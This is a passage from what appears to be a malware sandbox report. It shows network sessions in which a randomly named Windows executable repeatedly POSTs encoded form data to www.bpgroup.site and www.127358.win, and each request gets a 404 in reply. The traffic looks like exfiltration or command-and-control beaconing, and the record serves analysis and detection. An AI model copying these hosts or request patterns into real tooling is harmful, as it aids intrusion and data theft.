Javascript in your browser or use a browser with Javascript support</noscript></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49753	74.48.143.82	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:02.232209921 CET	780	OUT	POST /ykn4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.bpgroup.site Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.bpgroup.site Referer: http://www.bpgroup.site/ykn4/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 2f 42 61 31 44 30 47 50 73 7a 5a 56 4f 69 41 5a 43 43 37 41 4d 6d 6f 66 45 30 41 5a 35 67 37 2b 36 34 45 66 4b 68 4d 6c 79 31 77 41 34 44 62 36 50 6e 57 57 7a 32 74 41 76 56 6d 52 51 4e 57 48 4b 4e 4b 62 45 74 38 78 6f 55 49 72 64 35 68 6a 78 48 76 4c 63 6d 39 4c 50 63 59 72 6b 68 30 74 45 55 48 51 4c 55 48 45 79 4a 72 54 61 53 43 4d 36 38 43 53 55 2f 6e 58 68 51 30 79 6a 68 6f 64 64 6e 57 38 56 77 41 52 6d 6a 7a 4c 6c 51 78 73 66 61 37 50 7a 51 6a 5a 6d 47 64 45 35 30 37 63 31 50 72 76 4b 4a 59 46 35 39 6e 4e 6f 4f 4c 65 68 58 4b 4b 56 75 55 44 6b 58 47 32 71 75 44 43 35 77 3d 3d Data Ascii: ifzt=/Ba1D0GPszZVOiAZCC7AMmofE0AZ5g7+64EfKhMly1wA4Db6PnWWz2tAvVmRQNWHKNKbEt8xoUIrd5hjxHvLcm9LPcYrkh0tEUHQLUHEyJrTaSCM68CSU/nXhQ0yjhoddnW8VwARmjzLlQxsfa7PzQjZmGdE507c1PrvKJYF59nNoOLehXKKVuUDkXG2quDC5w==
Nov 25, 2024 09:43:03.384166956 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Mon, 25 Nov 2024 08:43:04 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 25, 2024 09:43:03.384260893 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49759	74.48.143.82	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:04.897916079 CET	800	OUT	POST /ykn4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.bpgroup.site Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.bpgroup.site Referer: http://www.bpgroup.site/ykn4/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 2f 42 61 31 44 30 47 50 73 7a 5a 56 4d 43 51 5a 45 68 6a 41 4e 47 6f 65 4c 55 41 5a 6a 51 37 41 36 34 41 66 4b 67 49 31 79 41 41 41 35 6d 33 36 64 7a 43 57 39 57 74 41 67 31 6d 65 4e 64 57 32 4b 4e 32 70 45 76 6f 78 6f 58 30 72 64 34 52 6a 79 30 48 49 64 32 39 4e 58 73 59 31 37 52 30 74 45 55 48 51 4c 55 6a 75 79 49 44 54 61 68 4b 4d 6f 4e 43 52 58 2f 6e 57 32 67 30 79 6e 68 6f 5a 64 6e 57 65 56 78 63 33 6d 68 62 4c 6c 52 42 73 66 76 61 39 6d 41 69 53 69 47 63 52 38 31 47 31 79 75 57 61 43 72 49 58 78 70 58 67 70 49 47 45 77 6d 72 64 48 75 77 77 35 51 50 43 6e 74 2b 4c 69 7a 5a 62 45 63 38 36 54 4b 31 5a 77 76 39 75 4b 54 65 6e 54 6c 30 3d Data Ascii: ifzt=/Ba1D0GPszZVMCQZEhjANGoeLUAZjQ7A64AfKgI1yAAA5m36dzCW9WtAg1meNdW2KN2pEvoxoX0rd4Rjy0HId29NXsY17R0tEUHQLUjuyIDTahKMoNCRX/nW2g0ynhoZdnWeVxc3mhbLlRBsfva9mAiSiGcR81G1yuWaCrIXxpXgpIGEwmrdHuww5QPCnt+LizZbEc86TK1Zwv9uKTenTl0=
Nov 25, 2024 09:43:06.154476881 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Mon, 25 Nov 2024 08:43:06 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 25, 2024 09:43:06.154603958 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49766	74.48.143.82	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:07.554625988 CET	10882	OUT	POST /ykn4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.bpgroup.site Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.bpgroup.site Referer: http://www.bpgroup.site/ykn4/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 2f 42 61 31 44 30 47 50 73 7a 5a 56 4d 43 51 5a 45 68 6a 41 4e 47 6f 65 4c 55 41 5a 6a 51 37 41 36 34 41 66 4b 67 49 31 79 41 49 41 35 55 2f 36 50 43 43 57 38 57 74 41 74 56 6d 64 4e 64 57 52 4b 4e 76 69 45 76 6c 45 6f 52 34 72 50 4c 4a 6a 33 46 48 49 55 32 39 4e 4c 63 59 6f 6b 68 31 31 45 55 58 55 4c 55 7a 75 79 49 44 54 61 67 61 4d 72 63 43 52 52 2f 6e 58 68 51 30 6d 6a 68 6f 39 64 6e 4f 6b 56 79 77 42 36 42 37 4c 6d 78 52 73 59 4c 36 39 37 77 69 51 76 6d 64 53 38 31 4b 75 79 76 37 6c 43 71 4d 35 78 75 6e 67 72 63 50 4c 68 33 58 6e 5a 2f 6f 31 68 6e 36 6f 2b 64 6d 46 71 55 46 68 44 73 74 75 41 37 6c 78 30 6f 45 69 50 42 43 6c 45 51 2b 78 6a 50 6d 57 6c 79 62 41 44 52 4b 6f 43 37 65 30 4d 72 68 4c 45 51 6c 35 57 44 58 39 2b 7a 57 36 34 66 75 59 59 4d 46 44 39 45 77 56 76 34 55 38 31 55 46 53 42 43 77 6b 6d 69 46 79 37 43 57 45 59 69 64 66 34 49 2b 2f 6b 41 57 68 38 2b 64 4b 52 74 5a 6f 56 57 4e 4f 47 35 61 74 36 50 4a 7a 6e 59 43 42 4f 42 55 54 61 43 4b 5a 43 4e 43 61 32 56 68 75 4b [TRUNCATED] Data Ascii: ifzt=/Ba1D0GPszZVMCQZEhjANGoeLUAZjQ7A64AfKgI1yAIA5U/6PCCW8WtAtVmdNdWRKNviEvlEoR4rPLJj3FHIU29NLcYokh11EUXULUzuyIDTagaMrcCRR/nXhQ0mjho9dnOkVywB6B7LmxRsYL697wiQvmdS81Kuyv7lCqM5xungrcPLh3XnZ/o1hn6o+dmFqUFhDstuA7lx0oEiPBClEQ+xjPmWlybADRKoC7e0MrhLEQl5WDX9+zW64fuYYMFD9EwVv4U81UFSBCwkmiFy7CWEYidf4I+/kAWh8+dKRtZoVWNOG5at6PJznYCBOBUTaCKZCNCa2VhuKTR6N25ERS576aSWRgCJz+ndQv/l6TryvTGaA8ywfvG8L6oZx6yN5O8duw3MPlqlNmCqHNDsje+7ML3uzRrzem9Ex/HMpcvonayzpwdPHFPAFVXROFiUvKqDoOfCZZmS8WtZiAWmHoV+V/R74/nsExpUjsDMbok8kOeYZ9KjtKma80Zb9X0oASJf97VP+PFYI+2jF7gvFZ/UDWK2p2gowi1ud+lvOtK7z790TWvu8atm0y90ALEIrMz1XdBa6t4wl3pOk3GQBOkxJwPNbn1bt0C0yUFLwrx9OB6cDyt1E3Gk6/rwRs86CjzAowfcnCTVfHAQ6vIsNYeUEvEaL900iooDS3opCspg2fnbjnZZibKlESmyl6+sl9fnpd+wA6sWip2bmc59NzY4tfoDeUxXQh4Mzu9ZGim3rcotM+eblB9EDUdiuZb38j8vBk8DtKVEmAzmSb4BZcKNTrKO0lqxq29WxS9xhuYhJoIuteG7iLxwjtAg2e+bA6Z4oHUJ+zXd1x9fNcx4bijsJt90OB53tJJoUCeJU5P/ATmbIOozA6jZabP8J7ZBSl95VnAuymy+1VZZjUjItgu7/regc+8iPby4SxdcweMI28Vt0WwxBNBt2qZk3bB1qCRn51143CX+BqCYJuxb8ztqMMus90Se97S389IGQdbLZUX [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49776	74.48.143.82	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:10.226810932 CET	516	OUT	GET /ykn4/?qX=qP0hoZO0bjg4&ifzt=yDyVABeQ4Ct1InZ0OhfmdnBFKWQ7rCX+/8YxCwFx8D5ixU3VRgnj+l5ygnfgEeC3H+CzN484nEASY7Na52DMVUZTGbosqxUoBmbbT2616qreZhvQ7f+FXOQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.bpgroup.site Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:43:11.526035070 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Mon, 25 Nov 2024 08:43:12 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 25, 2024 09:43:11.526052952 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49792	206.238.89.119	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:17.534715891 CET	774	OUT	POST /jr18/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.127358.win Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.127358.win Referer: http://www.127358.win/jr18/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 36 41 51 7a 66 4e 74 6b 4a 70 4b 51 36 59 77 70 58 73 76 68 64 78 52 4c 52 37 38 66 56 69 49 74 4e 37 70 2f 68 44 67 47 58 4c 32 4d 4d 59 2f 52 54 62 44 58 34 65 5a 66 70 77 6c 69 75 43 6d 5a 31 43 55 45 79 65 66 49 53 32 36 36 70 6f 6f 65 2f 6a 42 46 34 4f 5a 32 6a 45 33 49 71 2b 4f 77 6d 59 77 34 59 58 33 6b 53 5a 6b 6e 79 79 58 33 45 57 5a 44 69 45 71 79 4f 53 58 64 39 59 33 74 4f 2b 4a 67 4b 63 53 44 38 72 36 77 4d 64 59 6a 2b 51 59 4f 35 70 41 50 4a 2f 74 6e 73 47 72 49 6a 49 47 4f 65 71 50 61 68 73 7a 2b 6c 51 34 56 6b 41 52 54 76 79 52 57 31 77 6b 6a 55 6f 69 62 74 67 3d 3d Data Ascii: ifzt=6AQzfNtkJpKQ6YwpXsvhdxRLR78fViItN7p/hDgGXL2MMY/RTbDX4eZfpwliuCmZ1CUEyefIS266pooe/jBF4OZ2jE3Iq+OwmYw4YX3kSZknyyX3EWZDiEqyOSXd9Y3tO+JgKcSD8r6wMdYj+QYO5pAPJ/tnsGrIjIGOeqPahsz+lQ4VkARTvyRW1wkjUoibtg==
Nov 25, 2024 09:43:19.078130007 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 25 Nov 2024 08:43:18 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49798	206.238.89.119	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:43:20.283946037 CET	794	OUT	POST /jr18/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.127358.win Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.127358.win Referer: http://www.127358.win/jr18/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 36 41 51 7a 66 4e 74 6b 4a 70 4b 51 31 63 4d 70 56 4c 7a 68 66 52 52 4b 61 62 38 66 63 43 4a 6b 4e 37 6c 2f 68 43 56 65 57 2b 6d 4d 50 39 37 52 53 65 6a 58 35 65 5a 66 78 41 6c 72 71 43 6d 65 31 43 59 6d 79 63 62 49 53 32 75 36 70 70 59 65 2b 55 74 47 70 4f 5a 30 32 55 33 4b 33 75 4f 77 6d 59 77 34 59 58 7a 4f 53 66 4d 6e 7a 43 6e 33 43 48 5a 41 73 6b 71 7a 5a 69 58 64 35 59 33 58 4f 2b 49 44 4b 5a 36 35 38 70 79 77 4d 64 6f 6a 2b 43 77 42 73 5a 42 4b 48 66 73 58 6c 6d 43 63 36 74 72 47 66 72 44 4b 35 6f 48 42 70 32 31 50 31 78 77 45 39 79 31 6c 6f 33 74 58 5a 72 66 53 32 73 70 63 74 36 46 38 70 59 66 37 30 45 38 6f 70 7a 76 43 6b 34 73 3d Data Ascii: ifzt=6AQzfNtkJpKQ1cMpVLzhfRRKab8fcCJkN7l/hCVeW+mMP97RSejX5eZfxAlrqCme1CYmycbIS2u6ppYe+UtGpOZ02U3K3uOwmYw4YXzOSfMnzCn3CHZAskqzZiXd5Y3XO+IDKZ658pywMdoj+CwBsZBKHfsXlmCc6trGfrDK5oHBp21P1xwE9y1lo3tXZrfS2spct6F8pYf70E8opzvCk4s=
Nov 25, 2024 09:43:21.822235107 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 25 Nov 2024 08:43:21 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
